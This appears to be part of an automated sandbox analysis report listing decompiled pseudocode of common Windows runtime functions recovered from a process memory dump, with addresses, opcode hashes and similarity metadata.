0x0466a6ec
0x0466a6f1
0x0466a6f1
0x0466a655
0x0466a657
0x0466a65a
0x0466a65d
0x0466a662
0x0466a663
0x0466a667
0x0466a668
0x0466a66d
0x0466a706
0x0466a706
0x046a9bda
0x046a9be6
0x046a9beb
0x00000000
0x046a9beb
0x0466a679
0x046a9b7a
0x00000000
0x046a9b7a
0x0466a683
0x0466a6f4
0x0466a6f7
0x0466a6f9
0x0466a6fd
0x0466a6a0
0x0466a6a0
0x0466a6ad
0x0466a6af
0x0466a6b4
0x046a9ba7
0x046a9bac
0x00000000
0x00000000
0x046a9bc6
0x046a9bce
0x046a9bd1
0x046a9bd3
0x046a9bd3
0x00000000
0x046a9bd1
0x0466a6bd
0x0466a6c3
0x0466a6c6
0x0466a6d2
0x0466a701
0x0466a704
0x00000000
0x0466a704
0x0466a6d4
0x0466a6d6
0x0466a6d9
0x0466a6db
0x0466a6e1
0x0466a6e6
0x0466a6e8
0x0466a6e8
0x0466a6ea
0x00000000
0x0466a6ea
0x0466a688
0x0466a692
0x0466a694
0x0466a699
0x00000000
0x00000000
0x0466a69d
0x00000000

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89b1bea32e8e3571fea0eaf9c1a98f8c1b692f81629e3358f659d1b5f9125bd7
Instruction ID: 740740c247ef9393fac60389cb1b8bdb193028ff6d6ea2d33e0b771fd497dab6
Opcode Fuzzy Hash: 89b1bea32e8e3571fea0eaf9c1a98f8c1b692f81629e3358f659d1b5f9125bd7
Instruction Fuzzy Hash: 3C4135B5A00205DFDB14CF98C990B9ABBF2BB4A304F1581A9E805AB340E779BD41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 046B7016, Relevance: .1, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E046B7016(short __ecx, intOrPtr __edx, char _a4, char _a8, signed short* _a12, signed short* _a16) {
				signed int _v8;
				char _v588;
				intOrPtr _v592;
				intOrPtr _v596;
				signed short* _v600;
				char _v604;
				short _v606;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short* _t55;
				void* _t56;
				signed short* _t58;
				signed char* _t61;
				char* _t68;
				void* _t69;
				void* _t71;
				void* _t72;
				signed int _t75;

				_t64 = __edx;
				_t77 = (_t75 & 0xfffffff8) - 0x25c;
				_v8 =  *0x472d360 ^ (_t75 & 0xfffffff8) - 0x0000025c;
				_t55 = _a16;
				_v606 = __ecx;
				_t71 = 0;
				_t58 = _a12;
				_v596 = __edx;
				_v600 = _t58;
				_t68 =  &_v588;
				if(_t58 != 0) {
					_t71 = ( *_t58 & 0x0000ffff) + 2;
					if(_t55 != 0) {
						_t71 = _t71 + ( *_t55 & 0x0000ffff) + 2;
					}
				}
				_t8 = _t71 + 0x2a; // 0x28
				_t33 = _t8;
				_v592 = _t8;
				if(_t71 <= 0x214) {
					L6:
					 *((short*)(_t68 + 6)) = _v606;
					if(_t64 != 0xffffffff) {
						asm("cdq");
						 *((intOrPtr*)(_t68 + 0x20)) = _t64;
						 *((char*)(_t68 + 0x28)) = _a4;
						 *((intOrPtr*)(_t68 + 0x24)) = _t64;
						 *((char*)(_t68 + 0x29)) = _a8;
						if(_t71 != 0) {
							_t22 = _t68 + 0x2a; // 0x2a
							_t64 = _t22;
							E046B6B4C(_t58, _t22, _t71,  &_v604);
							if(_t55 != 0) {
								_t25 = _v604 + 0x2a; // 0x2a
								_t64 = _t25 + _t68;
								E046B6B4C(_t55, _t25 + _t68, _t71 - _v604,  &_v604);
							}
							if(E04657D50() == 0) {
								_t61 = 0x7ffe0384;
							} else {
								_t61 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
							}
							_push(_t68);
							_push(_v592 + 0xffffffe0);
							_push(0x402);
							_push( *_t61 & 0x000000ff);
							E04679AE0();
						}
					}
					_t35 =  &_v588;
					if( &_v588 != _t68) {
						_t35 = L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t68);
					}
					L16:
					_pop(_t69);
					_pop(_t72);
					_pop(_t56);
					return E0467B640(_t35, _t56, _v8 ^ _t77, _t64, _t69, _t72);
				}
				_t68 = L04654620(_t58,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t33);
				if(_t68 == 0) {
					goto L16;
				} else {
					_t58 = _v600;
					_t64 = _v596;
					goto L6;
				}
			}

0x046b7016
0x046b701e
0x046b702b
0x046b7033
0x046b7037
0x046b703c
0x046b703e
0x046b7041
0x046b7045
0x046b704a
0x046b7050
0x046b7055
0x046b705a
0x046b7062
0x046b7062
0x046b705a
0x046b7064
0x046b7064
0x046b7067
0x046b7071
0x046b7096
0x046b709b
0x046b70a2
0x046b70a6
0x046b70a7
0x046b70ad
0x046b70b3
0x046b70b6
0x046b70bb
0x046b70c3
0x046b70c3
0x046b70c6
0x046b70cd
0x046b70dd
0x046b70e0
0x046b70e2
0x046b70e2
0x046b70ee
0x046b7101
0x046b70f0
0x046b70f9
0x046b70f9
0x046b710a
0x046b710e
0x046b7112
0x046b7117
0x046b7118
0x046b7118
0x046b70bb
0x046b711d
0x046b7123
0x046b7131
0x046b7131
0x046b7136
0x046b713d
0x046b713e
0x046b713f
0x046b714a
0x046b714a
0x046b7084
0x046b7088
0x00000000
0x046b708e
0x046b708e
0x046b7092
0x00000000
0x046b7092

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ff0a47d6e5f49ec7761951f3f246fc8bb8a69c56854a8f2e778a620811fcfe1
Instruction ID: 1f649240b2c28c3d8fee8aaaa75d2da90bfdfb62d8220d561589c589928110c3
Opcode Fuzzy Hash: 8ff0a47d6e5f49ec7761951f3f246fc8bb8a69c56854a8f2e778a620811fcfe1
Instruction Fuzzy Hash: F0317C726047919BC320DF68C940AAAB7A9AFD8701F054A2DF89587790F730E954CBE6

Uniqueness

Uniqueness Score: -1.00%

Function 0465C182, Relevance: .1, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E0465C182(void* __ecx, unsigned int* __edx, intOrPtr _a4) {
				signed int* _v8;
				char _v16;
				void* __ebx;
				void* __edi;
				signed char _t33;
				signed char _t43;
				signed char _t48;
				signed char _t62;
				void* _t63;
				intOrPtr _t69;
				intOrPtr _t71;
				unsigned int* _t82;
				void* _t83;

				_t80 = __ecx;
				_t82 = __edx;
				_t33 =  *((intOrPtr*)(__ecx + 0xde));
				_t62 = _t33 >> 0x00000001 & 0x00000001;
				if((_t33 & 0x00000001) != 0) {
					_v8 = ((0 | _t62 != 0x00000000) - 0x00000001 & 0x00000048) + 8 + __edx;
					if(E04657D50() != 0) {
						_t43 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					} else {
						_t43 = 0x7ffe0386;
					}
					if( *_t43 != 0) {
						_t43 = E04708D34(_v8, _t80);
					}
					E04652280(_t43, _t82);
					if( *((char*)(_t80 + 0xdc)) == 0) {
						E0464FFB0(_t62, _t80, _t82);
						 *(_t80 + 0xde) =  *(_t80 + 0xde) | 0x00000004;
						_t30 = _t80 + 0xd0; // 0xd0
						_t83 = _t30;
						E04708833(_t83,  &_v16);
						_t81 = _t80 + 0x90;
						E0464FFB0(_t62, _t80 + 0x90, _t80 + 0x90);
						_t63 = 0;
						_push(0);
						_push(_t83);
						_t48 = E0467B180();
						if(_a4 != 0) {
							E04652280(_t48, _t81);
						}
					} else {
						_t69 = _v8;
						_t12 = _t80 + 0x98; // 0x98
						_t13 = _t69 + 0xc; // 0x575651ff
						E0465BB2D(_t13, _t12);
						_t71 = _v8;
						_t15 = _t80 + 0xb0; // 0xb0
						_t16 = _t71 + 8; // 0x8b000cc2
						E0465BB2D(_t16, _t15);
						E0465B944(_v8, _t62);
						 *((char*)(_t80 + 0xdc)) = 0;
						E0464FFB0(0, _t80, _t82);
						 *((intOrPtr*)(_t80 + 0xd8)) = 0;
						 *((intOrPtr*)(_t80 + 0xc8)) = 0;
						 *((intOrPtr*)(_t80 + 0xcc)) = 0;
						 *(_t80 + 0xde) = 0;
						if(_a4 == 0) {
							_t25 = _t80 + 0x90; // 0x90
							E0464FFB0(0, _t80, _t25);
						}
						_t63 = 1;
					}
					return _t63;
				}
				 *((intOrPtr*)(__ecx + 0xc8)) = 0;
				 *((intOrPtr*)(__ecx + 0xcc)) = 0;
				if(_a4 == 0) {
					_t24 = _t80 + 0x90; // 0x90
					E0464FFB0(0, __ecx, _t24);
				}
				return 0;
			}

0x0465c18d
0x0465c18f
0x0465c191
0x0465c19b
0x0465c1a0
0x0465c1d4
0x0465c1de
0x046a2d6e
0x0465c1e4
0x0465c1e4
0x0465c1e4
0x0465c1ec
0x046a2d7d
0x046a2d7d
0x0465c1f3
0x0465c1ff
0x046a2d88
0x046a2d8d
0x046a2d94
0x046a2d94
0x046a2d9f
0x046a2da4
0x046a2dab
0x046a2db0
0x046a2db2
0x046a2db3
0x046a2db4
0x046a2dbc
0x046a2dc3
0x046a2dc3
0x0465c205
0x0465c205
0x0465c208
0x0465c20e
0x0465c211
0x0465c216
0x0465c219
0x0465c21f
0x0465c222
0x0465c22c
0x0465c234
0x0465c23a
0x0465c23f
0x0465c245
0x0465c24b
0x0465c251
0x0465c25a
0x0465c276
0x0465c27d
0x0465c27d
0x0465c25c
0x0465c25c
0x00000000
0x0465c25e
0x0465c1a4
0x0465c1aa
0x0465c1b3
0x0465c265
0x0465c26c
0x0465c26c
0x00000000

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4a3881b78bd852e90f123f8f308f7d6cb7f2242736900428c2759f2d7e2a9ea
Instruction ID: 3156be5bf6e5cadd67e7dd673de3e4185987bd795f1398fc0e6086159281440d
Opcode Fuzzy Hash: b4a3881b78bd852e90f123f8f308f7d6cb7f2242736900428c2759f2d7e2a9ea
Instruction Fuzzy Hash: EC312671701646AFEB04EBB4C890BE9F794BF52208F04815EC81C4B351FB347A56DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0466A70E, Relevance: .1, Instructions: 96
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E0466A70E(intOrPtr* __ecx, char* __edx) {
				unsigned int _v8;
				intOrPtr* _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t16;
				intOrPtr _t17;
				intOrPtr _t28;
				char* _t33;
				intOrPtr _t37;
				intOrPtr _t38;
				void* _t50;
				intOrPtr _t52;

				_push(__ecx);
				_push(__ecx);
				_t52 =  *0x4727b10; // 0x9
				_t33 = __edx;
				_t48 = __ecx;
				_v12 = __ecx;
				if(_t52 == 0) {
					 *0x4727b10 = 8;
					 *0x4727b14 = 0x4727b0c;
					 *0x4727b18 = 1;
					L6:
					_t2 = _t52 + 1; // 0xa
					E0466A990(0x4727b10, _t2, 7);
					asm("bts ecx, eax");
					 *_t48 = _t52;
					 *_t33 = 1;
					L3:
					_t16 = 0;
					L4:
					return _t16;
				}
				_t17 = L0466A840(__edx, __ecx, __ecx, _t52, 0x4727b10, 1, 0);
				if(_t17 == 0xffffffff) {
					_t37 =  *0x4727b10; // 0x9
					_t3 = _t37 + 0x27; // 0x30
					__eflags = _t3 >> 5 -  *0x4727b18; // 0x1
					if(__eflags > 0) {
						_t38 =  *0x4727b9c; // 0x0
						_t4 = _t52 + 0x27; // 0x30
						_v8 = _t4 >> 5;
						_t50 = L04654620(_t38 + 0xc0000,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t38 + 0xc0000, _t4 >> 5 << 2);
						__eflags = _t50;
						if(_t50 == 0) {
							_t16 = 0xc0000017;
							goto L4;
						}
						 *0x4727b18 = _v8;
						_t8 = _t52 + 7; // 0x10
						E0467F3E0(_t50,  *0x4727b14, _t8 >> 3);
						_t28 =  *0x4727b14; // 0x77f07b0c
						__eflags = _t28 - 0x4727b0c;
						if(_t28 != 0x4727b0c) {
							L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t28);
						}
						_t9 = _t52 + 8; // 0x11
						 *0x4727b14 = _t50;
						_t48 = _v12;
						 *0x4727b10 = _t9;
						goto L6;
					}
					 *0x4727b10 = _t37 + 8;
					goto L6;
				}
				 *__ecx = _t17;
				 *_t33 = 0;
				goto L3;
			}

0x0466a713
0x0466a714
0x0466a717
0x0466a71d
0x0466a720
0x0466a722
0x0466a727
0x0466a74a
0x0466a754
0x0466a75e
0x0466a768
0x0466a76a
0x0466a773
0x0466a78b
0x0466a790
0x0466a792
0x0466a741
0x0466a741
0x0466a743
0x0466a749
0x0466a749
0x0466a732
0x0466a73a
0x0466a797
0x0466a79d
0x0466a7a3
0x0466a7a9
0x0466a7b6
0x0466a7bc
0x0466a7ca
0x0466a7e0
0x0466a7e2
0x0466a7e4
0x046a9bf2
0x00000000
0x046a9bf2
0x0466a7ed
0x0466a7f2
0x0466a800
0x0466a805
0x0466a80d
0x0466a812
0x046a9c08
0x046a9c08
0x0466a818
0x0466a81b
0x0466a821
0x0466a824
0x00000000
0x0466a824
0x0466a7ae
0x00000000
0x0466a7ae
0x0466a73c
0x0466a73e
0x00000000

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 109e0e12a880be73eb6c2f4159c464b537ec7933fa59b646c4e99554a7954d00
Instruction ID: 8d0e154968686368175d29822c8366201ea99d9c4baaa447d5c9e79695ddf4e6
Opcode Fuzzy Hash: 109e0e12a880be73eb6c2f4159c464b537ec7933fa59b646c4e99554a7954d00
Instruction Fuzzy Hash: 8B31AFB56002009FD729CF58DB80FA67BFAFB86710F14895AE006A7340E776BD01CB91

Uniqueness

Uniqueness Score: -1.00%

Function 046661A0, Relevance: .1, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E046661A0(signed int* __ecx) {
				intOrPtr _v8;
				char _v12;
				intOrPtr* _v16;
				intOrPtr _v20;
				intOrPtr _t30;
				intOrPtr _t31;
				void* _t32;
				intOrPtr _t33;
				intOrPtr _t37;
				intOrPtr _t49;
				signed int _t51;
				intOrPtr _t52;
				signed int _t54;
				void* _t59;
				signed int* _t61;
				intOrPtr* _t64;

				_t61 = __ecx;
				_v12 = 0;
				_t30 =  *((intOrPtr*)( *[fs:0x30] + 0x1e8));
				_v16 = __ecx;
				_v8 = 0;
				if(_t30 == 0) {
					L6:
					_t31 = 0;
					L7:
					return _t31;
				}
				_t32 = _t30 + 0x5d8;
				if(_t32 == 0) {
					goto L6;
				}
				_t59 = _t32 + 0x30;
				if( *((intOrPtr*)(_t32 + 0x30)) == 0) {
					goto L6;
				}
				if(__ecx != 0) {
					 *((intOrPtr*)(__ecx)) = 0;
					 *((intOrPtr*)(__ecx + 4)) = 0;
				}
				if( *((intOrPtr*)(_t32 + 0xc)) != 0) {
					_t51 =  *(_t32 + 0x10);
					_t33 = _t32 + 0x10;
					_v20 = _t33;
					_t54 =  *(_t33 + 4);
					if((_t51 | _t54) == 0) {
						_t37 = E04665E50(0x46167cc, 0, 0,  &_v12);
						if(_t37 != 0) {
							goto L6;
						}
						_t52 = _v8;
						asm("lock cmpxchg8b [esi]");
						_t64 = _v16;
						_t49 = _t37;
						_v20 = 0;
						if(_t37 == 0) {
							if(_t64 != 0) {
								 *_t64 = _v12;
								 *((intOrPtr*)(_t64 + 4)) = _t52;
							}
							E04709D2E(_t59, 0, _v12, _v8,  *( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x38) & 0x0000ffff,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x3c)));
							_t31 = 1;
							goto L7;
						}
						E0463F7C0(_t52, _v12, _t52, 0);
						if(_t64 != 0) {
							 *_t64 = _t49;
							 *((intOrPtr*)(_t64 + 4)) = _v20;
						}
						L12:
						_t31 = 1;
						goto L7;
					}
					if(_t61 != 0) {
						 *_t61 = _t51;
						_t61[1] = _t54;
					}
					goto L12;
				} else {
					goto L6;
				}
			}

0x046661b3
0x046661b5
0x046661bd
0x046661c3
0x046661c7
0x046661d2
0x046661ff
0x046661ff
0x04666201
0x04666207
0x04666207
0x046661d4
0x046661d9
0x00000000
0x00000000
0x046661df
0x046661e2
0x00000000
0x00000000
0x046661e6
0x046661e8
0x046661ee
0x046661ee
0x046661f9
0x046a762f
0x046a7632
0x046a7635
0x046a7639
0x046a7640
0x046a766e
0x046a7675
0x00000000
0x00000000
0x046a7681
0x046a7689
0x046a768d
0x046a7691
0x046a7695
0x046a7699
0x046a76af
0x046a76b5
0x046a76b7
0x046a76b7
0x046a76d7
0x046a76dc
0x00000000
0x046a76dc
0x046a76a2
0x046a76a9
0x046a7651
0x046a7653
0x046a7653
0x046a7656
0x046a7656
0x00000000
0x046a7656
0x046a7644
0x046a7646
0x046a7648
0x046a7648
0x00000000
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1680e14f7a8cd96037d73196b23da7d7bc9f3198aee7943c0fbf15f790bf3ee1
Instruction ID: 191f849a58b1f8b6378d6da8c1ea3e01f1b95aae634ce70aa9867addcd238c22
Opcode Fuzzy Hash: 1680e14f7a8cd96037d73196b23da7d7bc9f3198aee7943c0fbf15f790bf3ee1
Instruction Fuzzy Hash: 0F317871A097018FD320DF19D900B2AF7E4FB98B04F09496DE9999B361F7B0E844CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0463AA16, Relevance: .1, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E0463AA16(signed short* __ecx) {
				signed int _v8;
				intOrPtr _v12;
				signed short _v16;
				intOrPtr _v20;
				signed short _v24;
				signed short _v28;
				void* _v32;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t25;
				signed short _t38;
				signed short* _t42;
				signed int _t44;
				signed short* _t52;
				signed short _t53;
				signed int _t54;

				_v8 =  *0x472d360 ^ _t54;
				_t42 = __ecx;
				_t44 =  *__ecx & 0x0000ffff;
				_t52 =  &(__ecx[2]);
				_t51 = _t44 + 2;
				if(_t44 + 2 > (__ecx[1] & 0x0000ffff)) {
					L4:
					_t25 =  *0x4727b9c; // 0x0
					_t53 = L04654620(_t44,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t25 + 0x180000, _t51);
					__eflags = _t53;
					if(_t53 == 0) {
						L3:
						return E0467B640(_t28, _t42, _v8 ^ _t54, _t51, _t52, _t53);
					} else {
						E0467F3E0(_t53,  *_t52,  *_t42 & 0x0000ffff);
						 *((short*)(_t53 + (( *_t42 & 0x0000ffff) >> 1) * 2)) = 0;
						L2:
						_t51 = 4;
						if(L04646C59(_t53, _t51, _t58) != 0) {
							_t28 = E04665E50(0x461c338, 0, 0,  &_v32);
							__eflags = _t28;
							if(_t28 == 0) {
								_t38 = ( *_t42 & 0x0000ffff) + 2;
								__eflags = _t38;
								_v24 = _t53;
								_v16 = _t38;
								_v20 = 0;
								_v12 = 0;
								E0466B230(_v32, _v28, 0x461c2d8, 1,  &_v24);
								_t28 = E0463F7A0(_v32, _v28);
							}
							__eflags = _t53 -  *_t52;
							if(_t53 !=  *_t52) {
								_t28 = L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t53);
							}
						}
						goto L3;
					}
				}
				_t53 =  *_t52;
				_t44 = _t44 >> 1;
				_t58 =  *((intOrPtr*)(_t53 + _t44 * 2));
				if( *((intOrPtr*)(_t53 + _t44 * 2)) != 0) {
					goto L4;
				}
				goto L2;
			}

0x0463aa25
0x0463aa29
0x0463aa2d
0x0463aa30
0x0463aa37
0x0463aa3c
0x04694458
0x04694458
0x04694472
0x04694474
0x04694476
0x0463aa64
0x0463aa74
0x0469447c
0x04694483
0x04694492
0x0463aa52
0x0463aa54
0x0463aa5e
0x046944a8
0x046944ad
0x046944af
0x046944b6
0x046944b6
0x046944b9
0x046944bc
0x046944cd
0x046944d3
0x046944d6
0x046944e1
0x046944e1
0x046944e6
0x046944e8
0x046944fb
0x046944fb
0x046944e8
0x00000000
0x0463aa5e
0x04694476
0x0463aa42
0x0463aa46
0x0463aa48
0x0463aa4c
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fff65d9d18c8237e1735f6caf1b9951e9d2d4407219db4ed481066a9b238ff8d
Instruction ID: 3e014cc822edc441c80dab543859b9432af6d5e30ebe000f96f2e22caf1364d6
Opcode Fuzzy Hash: fff65d9d18c8237e1735f6caf1b9951e9d2d4407219db4ed481066a9b238ff8d
Instruction Fuzzy Hash: CB319172A00219ABDF149FA4CD81A7FB7B8EF04B04F014069F901D6250FB75BD11DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 04678EC7, Relevance: .1, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E04678EC7(void* __ecx, void* __edx) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int* _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				signed int* _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				char* _v76;
				intOrPtr _v80;
				signed int _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				signed int* _v108;
				char _v140;
				signed int _v144;
				signed int _v148;
				intOrPtr _v152;
				char _v156;
				intOrPtr _v160;
				char _v164;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t67;
				intOrPtr _t70;
				void* _t71;
				void* _t72;
				signed int _t73;

				_t69 = __edx;
				_v8 =  *0x472d360 ^ _t73;
				_t48 =  *[fs:0x30];
				_t72 = __edx;
				_t71 = __ecx;
				if( *((intOrPtr*)( *[fs:0x30] + 0x18)) != 0) {
					_t48 = E04664E70(0x47286e4, 0x4679490, 0, 0);
					if( *0x47253e8 > 5 && E04678F33(0x47253e8, 0, 0x2000) != 0) {
						_v156 =  *((intOrPtr*)(_t71 + 0x44));
						_v144 =  *(_t72 + 0x44) & 0x0000ffff;
						_v148 =  *(_t72 + 0x46) & 0x0000ffff;
						_v164 =  *((intOrPtr*)(_t72 + 0x58));
						_v108 =  &_v84;
						_v92 =  *((intOrPtr*)(_t71 + 0x28));
						_v84 =  *(_t71 + 0x24) & 0x0000ffff;
						_v76 =  &_v156;
						_t70 = 8;
						_v60 =  &_v144;
						_t67 = 4;
						_v44 =  &_v148;
						_v152 = 0;
						_v160 = 0;
						_v104 = 0;
						_v100 = 2;
						_v96 = 0;
						_v88 = 0;
						_v80 = 0;
						_v72 = 0;
						_v68 = _t70;
						_v64 = 0;
						_v56 = 0;
						_v52 = 0x47253e8;
						_v48 = 0;
						_v40 = 0;
						_v36 = 0x47253e8;
						_v32 = 0;
						_v28 =  &_v164;
						_v24 = 0;
						_v20 = _t70;
						_v16 = 0;
						_t69 = 0x461bc46;
						_t48 = E046B7B9C(0x47253e8, 0x461bc46, _t67, 0x47253e8, _t70,  &_v140);
					}
				}
				return E0467B640(_t48, 0, _v8 ^ _t73, _t69, _t71, _t72);
			}

0x04678ec7
0x04678ed9
0x04678edc
0x04678ee6
0x04678ee9
0x04678eee
0x04678efc
0x04678f08
0x046b1349
0x046b1353
0x046b135d
0x046b1366
0x046b136f
0x046b1375
0x046b137c
0x046b1385
0x046b1390
0x046b1391
0x046b139c
0x046b139d
0x046b13a6
0x046b13ac
0x046b13b2
0x046b13b5
0x046b13bc
0x046b13bf
0x046b13c2
0x046b13c5
0x046b13c8
0x046b13cb
0x046b13ce
0x046b13d1
0x046b13d4
0x046b13d7
0x046b13da
0x046b13dd
0x046b13e0
0x046b13e3
0x046b13e6
0x046b13e9
0x046b13f6
0x046b1400
0x046b1400
0x04678f08
0x04678f32

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a71f2a9972bc1bdc84d0c226eaa0d5a6e9e46949cc60a9b3c5ad57da3d10569
Instruction ID: 40b5510923e01ecdf977026e4ce3839dd7b2ce970aedb7f15f9ac2cc29780382
Opcode Fuzzy Hash: 4a71f2a9972bc1bdc84d0c226eaa0d5a6e9e46949cc60a9b3c5ad57da3d10569
Instruction Fuzzy Hash: 5241C2B1D003589FDB20CFAAD980AAEFBF4FB48314F5041AEE509A7200E7746A84CF50

Uniqueness

Uniqueness Score: -1.00%

Function 04674A2C, Relevance: .1, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E04674A2C(signed int* __ecx, intOrPtr* __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				signed int* _v12;
				char _v13;
				signed int _v16;
				char _v21;
				signed int* _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				signed int* _t32;
				signed int* _t41;
				signed int _t42;
				void* _t43;
				intOrPtr* _t51;
				void* _t52;
				signed int _t53;
				signed int _t58;
				void* _t59;
				signed int _t60;
				signed int _t62;

				_t49 = __edx;
				_t62 = (_t60 & 0xfffffff8) - 0xc;
				_t26 =  *0x472d360 ^ _t62;
				_v8 =  *0x472d360 ^ _t62;
				_t41 = __ecx;
				_t51 = __edx;
				_v12 = __ecx;
				if(_a4 == 0) {
					if(_a8 != 0) {
						goto L1;
					}
					_v13 = 1;
					E04652280(_t26, 0x4728608);
					_t58 =  *_t41;
					if(_t58 == 0) {
						L11:
						E0464FFB0(_t41, _t51, 0x4728608);
						L2:
						 *0x472b1e0(_a4, _a8);
						_t42 =  *_t51();
						if(_t42 == 0) {
							_t29 = 0;
							L5:
							_pop(_t52);
							_pop(_t59);
							_pop(_t43);
							return E0467B640(_t29, _t43, _v16 ^ _t62, _t49, _t52, _t59);
						}
						 *((intOrPtr*)(_t42 + 0x34)) = 1;
						if(_v21 != 0) {
							_t53 = 0;
							E04652280(_t28, 0x4728608);
							_t32 = _v24;
							if( *_t32 == _t58) {
								 *_t32 = _t42;
								 *((intOrPtr*)(_t42 + 0x34)) =  *((intOrPtr*)(_t42 + 0x34)) + 1;
								if(_t58 != 0) {
									 *(_t58 + 0x34) =  *(_t58 + 0x34) - 1;
									asm("sbb edi, edi");
									_t53 =  !( ~( *(_t58 + 0x34))) & _t58;
								}
							}
							E0464FFB0(_t42, _t53, 0x4728608);
							if(_t53 != 0) {
								L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t53);
							}
						}
						_t29 = _t42;
						goto L5;
					}
					if( *((char*)(_t58 + 0x40)) != 0) {
						L10:
						 *(_t58 + 0x34) =  *(_t58 + 0x34) + 1;
						E0464FFB0(_t41, _t51, 0x4728608);
						_t29 = _t58;
						goto L5;
					}
					_t49 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
					if( *((intOrPtr*)(_t58 + 0x38)) !=  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x294))) {
						goto L11;
					}
					goto L10;
				}
				L1:
				_v13 = 0;
				_t58 = 0;
				goto L2;
			}

0x04674a2c
0x04674a34
0x04674a3c
0x04674a3e
0x04674a48
0x04674a4b
0x04674a4d
0x04674a51
0x04674a9c
0x00000000
0x00000000
0x04674aa3
0x04674aa8
0x04674aad
0x04674ab1
0x04674ade
0x04674ae3
0x04674a5a
0x04674a62
0x04674a6a
0x04674a6e
0x046af203
0x04674a84
0x04674a88
0x04674a89
0x04674a8a
0x04674a95
0x04674a95
0x04674a79
0x04674a80
0x04674af2
0x04674af4
0x04674af9
0x04674aff
0x04674b01
0x04674b03
0x04674b08
0x046af20a
0x046af212
0x046af216
0x046af216
0x04674b08
0x04674b13
0x04674b1a
0x046af229
0x046af229
0x04674b1a
0x04674a82
0x00000000
0x04674a82
0x04674ab7
0x04674acd
0x04674acd
0x04674ad5
0x04674ada
0x00000000
0x04674ada
0x04674ac2
0x04674acb
0x00000000
0x00000000
0x00000000
0x04674acb
0x04674a53
0x04674a53
0x04674a58
0x00000000

Memory Dump Source

